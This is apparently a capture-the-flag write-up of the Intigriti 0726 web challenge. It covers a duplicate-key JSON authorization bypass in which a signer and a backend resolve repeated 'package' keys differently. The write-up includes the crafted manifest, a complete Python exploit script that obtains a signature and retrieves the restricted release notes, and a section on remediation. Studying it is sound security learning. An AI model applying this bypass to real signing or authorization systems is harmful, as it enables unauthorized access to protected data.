1460 words
7 minutes
Intigriti 0726 Challenge — JSON Key Bypass & TOCTOU

Challenge: Intigriti Monthly Web Security Challenge 0726
Target Platform: https://challenge-0726.intigriti.io
Vulnerability Type: JSON Duplicate Key Parser Confusion / TOCTOU Authorization Bypass
Source Code & Exploit Repository: onevilx/Writeups - Challenge_0726


1. Executive Summary & Challenge Architecture

Modern enterprise microservice architectures routinely delegate application functionality across diverse programming frameworks and parsing parsers. In Intigriti’s Challenge 0726, the core application mimics a highly defended package deployment and reporting platform. Users are restricted to interacting strictly with package namespaces assigned to their own registered student accounts. The definitive objective of the challenge is to break outside of this isolated namespace tenancy and extract confidential internal security documentations stored inside the protected @core/security-notes system module.

During my vulnerability reconnaissance against the live challenge endpoints, I uncovered a fatal Time-of-Check to Time-of-Use (TOCTOU) race and structural parser confusion flaw. By feeding carefully crafted raw JSON payload structures containing duplicate dictionary keys into the cryptographic package signing engine, an attacker can bypass cryptographic integrity verifications and trick downstream execution services into executing restricted releases without authorization.


2. Polyglot Parser Confusion: First-Key vs. Last-Key Evaluation

The conceptual foundation of this vulnerability relies on an ambiguous specification standard within RFC 8259 regarding how data serialization parsers should process JSON object strings that define multiple identical property keys within the same structural block:

{
"package": {"scope": "user_namespace_abc123", "name": "hello-world", "version": "1.0.0"},
"package": {"scope": "core", "name": "security-notes", "version": "1.0.0"},
"metadata": {"description": "automated bypass", "visibility": "private"},
"operation": "preflight"
}

When an application stack utilizes disparate parsing libraries between its verification perimeter and its execution core, catastrophic authorization discrepancies occur:

  1. The Authorization & Signing Gate (Time-of-Check): The frontend security verifier evaluates the raw payload stream utilizing a parsing routine that adopts a “First-Key-Wins” logic pattern. It inspects the initial "package" declaration, confirms that "scope" matches the user’s legitimately assigned tenancy (user_namespace_abc123), and confidently attaches a valid cryptographic digital approval signature (manifest_sha256, nonce, and signature).
  2. The Publication Engine (Time-of-Use): Once signed, the packet is transmitted to the downstream backend publication processor. This backend engine parses the exact same signed Base64 manifest utilizing an interpreter dictionary implementation that follows a “Last-Key-Wins” behavior! As the parser builds its parameter structures in system memory, the second "package" definition overwrites the first—causing the engine to generate an authoritative preflight release directly against the restricted @core/security-notes repository!
+-----------------------------------------------------------------------------+
| INTIGRITI CHALLENGE 0726 EXPLOITATION WORKFLOW |
+-----------------------------------------------------------------------------+
| 1. POST /api/login -> Retrieve assigned Namespace & x-csrf-token |
| |
| 2. Construct Dual-Key Raw Manifest String: |
| Key 1: [Allowed] -> {"scope": "<user_namespace>", "name": "hello-world"}|
| Key 2: [Target] -> {"scope": "core", "name": "security-notes"} |
| |
| 3. POST /api/manifests/sign (Time-of-Check) |
| [Frontend Verifier] -> Reads Key 1 -> Validates Scope -> ISSUES SIGNATURE|
| |
| 4. POST /api/publications (Time-of-Use) |
| [Backend Engine] -> Reads Key 2 (Override!) -> Deploys @core module! |
| |
| 5. GET /api/publications/<pub_id> -> RETRIEVE EXPOSED SECRET FLAG RELEASE! |
+-----------------------------------------------------------------------------+

3. Dissecting My Automated Python Exploit (exploit.py)

To systematically automate this multi-stage exploitation pipeline, I authored a custom Python proof-of-concept exploit tool designed to interface directly with the challenge APIs. Below is the full, unmodified production source code from my GitHub repository, followed by an architectural breakdown of each operational stage:

#!/usr/bin/env python3
"""
Intigriti Challenge 0726 — Automated PoC Exploit
Vulnerability: JSON Duplicate Key Authorization Bypass (TOCTOU)
"""
import requests
import json
import base64
import sys
BASE_URL = "https://challenge-0726.intigriti.io"
USERNAME = "YOUR_USERNAME"
PASSWORD = "YOUR_PASSWORD"
s = requests.Session()
print("[*] Step 1: Authenticating to challenge platform...")
r = s.post(f"{BASE_URL}/api/login", json={"username": USERNAME, "password": PASSWORD})
if "error" in r.text or r.status_code != 200:
print(f"[-] Login failed: {r.text}")
sys.exit(1)
namespace = r.json()["user"]["namespace"]
csrf = s.get(f"{BASE_URL}/api/me").json()["csrf_token"]
print(f"[+] Authenticated! Assigned Namespace: {namespace}")
print(f"[+] CSRF Token Obtained: {csrf[:16]}...")
print("\n[*] Step 2: Constructing dual-key payload (TOCTOU trigger)...")
# First package key passes authorization, second key executes on restricted target
manifest_raw = '''{
"package": {"scope": "''' + namespace + '''", "name": "hello-world", "version": "1.0.0"},
"package": {"scope": "core", "name": "security-notes", "version": "1.0.0"},
"metadata": {"description": "automated bypass", "visibility": "private"},
"operation": "preflight"
}'''
manifest_b64 = base64.b64encode(manifest_raw.encode()).decode()
print("\n[*] Step 3: Requesting cryptographic approval signature...")
headers = {"x-csrf-token": csrf}
r = s.post(f"{BASE_URL}/api/manifests/sign", json={"manifest_b64": manifest_b64}, headers=headers)
if "error" in r.text:
print(f"[-] Signing failed: {r.text}")
sys.exit(1)
approval = r.json()
print(f"[+] Approval Granted! Approval ID: {approval['approval_id']}")
print("\n[*] Step 4: Submitting signed payload to publications engine...")
payload = {
"manifest_b64": manifest_b64,
"approval_id": approval["approval_id"],
"manifest_sha256": approval["manifest_sha256"],
"nonce": approval["nonce"],
"expires_at": approval["expires_at"],
"signature": approval["signature"]
}
r = s.post(f"{BASE_URL}/api/publications", json=payload, headers=headers)
pub_id = r.json()["publication_id"]
print(f"[+] Report generated! Publication ID: {pub_id}")
print("\n[*] Step 5: Fetching restricted system release notes...")
report = s.get(f"{BASE_URL}/api/publications/{pub_id}").json()
flag = report["report"]["release_notes"]
print("\n" + "="*55)
print(f" 🚩 CAPTURED FLAG: {flag}")
print("="*55)

4. Architectural Step-by-Step Code Walkthrough

Step 1: Authentication & Session Triage

Before submitting payloads, the script initializes a persistent network session (requests.Session()) and authenticates via POST /api/login. Upon verifying valid operator credentials, the target server assigns a sandboxed execution tenancy identifier (namespace). To bypass standard Cross-Site Request Forgery protections across subsequent POST endpoints, our program queries GET /api/me, extracting the dynamic cryptographic csrf_token directly into memory.

Step 2: Constructing the Dual-Key Raw Manifest String

Notice how our script does not generate the payload utilizing Python’s native dictionary serialization (json.dumps()). If we had constructed standard Python dictionaries, the local runtime interpreter would automatically drop the initial duplicate key prior to network transmission!

By explicitly declaring manifest_raw as an unparsed literal multi-line string, we force the string assembly to retain both conflicting "package" declarations intact:

  • Key 1 (Authoritative Bypass): "scope": namespace immediately convinces the API signing security layer that our deployment operates strictly inside authorized boundaries.
  • Key 2 (Target Exfiltration): "scope": "core", "name": "security-notes" waits silently to override backend variable evaluation during the execution phase. The raw string is subsequently converted into an ASCII Base64 execution string (manifest_b64) to prevent intermediate HTTP reverse-proxies from stripping formatting characters during route forwarding.

Step 3: Acquiring Cryptographic Approval Signatures

With our forged payload finalized and headers populated with x-csrf-token, the tool initiates a verification request against POST /api/manifests/sign. Because the verification perimeter parses our first package scope successfully, it trusts the structure and responds with an authoritative approval array—returning an authorized approval_id, a timestamped expires_at token, a random cryptographic nonce, and an unforgeable HMAC-SHA256 digital signature!

Steps 4 & 5: Triggering TOCTOU Collision & Flag Exfiltration

Equipped with a genuine cryptographic approval bundle, our program fires the complete payload directly into the processing engine via POST /api/publications. The downstream service validates the HMAC signature against the supplied Base64 string and unpacks the JSON directly into its native processing logic. Because its internal JSON decoding engine executes a Last-Key-Wins key-value replacement loop, it assigns "scope": "core" as the operative publication target!

Within milliseconds, the backend compiles the preflight build report and assigns a dynamic publication_id. Our final function queries GET /api/publications/{pub_id}, pulling down the unprotected administrative diagnostics and printing the winning challenge flag straight to standard output!


5. Remediation & Secure Parsing Guidelines

To defend complex web applications against polyglot parser collisions and TOCTOU JSON manipulation vulnerabilities, software architects should implement the following defensive controls:

  1. Enforce Strict Zero-Duplicate JSON Schema Validation: Configure incoming API gateways and REST parsers to treat duplicate dictionary keys as fatal parsing exceptions. Libraries like Fastify, Ajv, or strict RFC-compliant Go JSON validators should immediately terminate request execution upon encountering repeated properties.
  2. Re-Verify Cryptographic Claims at the Execution Boundary: Never rely blindly on perimeter approval signatures without re-running architectural authorization checks at the exact point of consumption. When the publication service unpacks a manifest, it should explicitly verify whether the decrypted target scope matches the authenticating user’s runtime JWT identity token!

💻 View the Complete Source Code on GitHub

All accompanying markdown docs, challenge blueprints, and production Python exploitation tools for Intigriti challenges are hosted in my open-source repository:

Special gratitude to Intigriti’s offensive engineering team for continually architecting engaging, world-class monthly security challenges.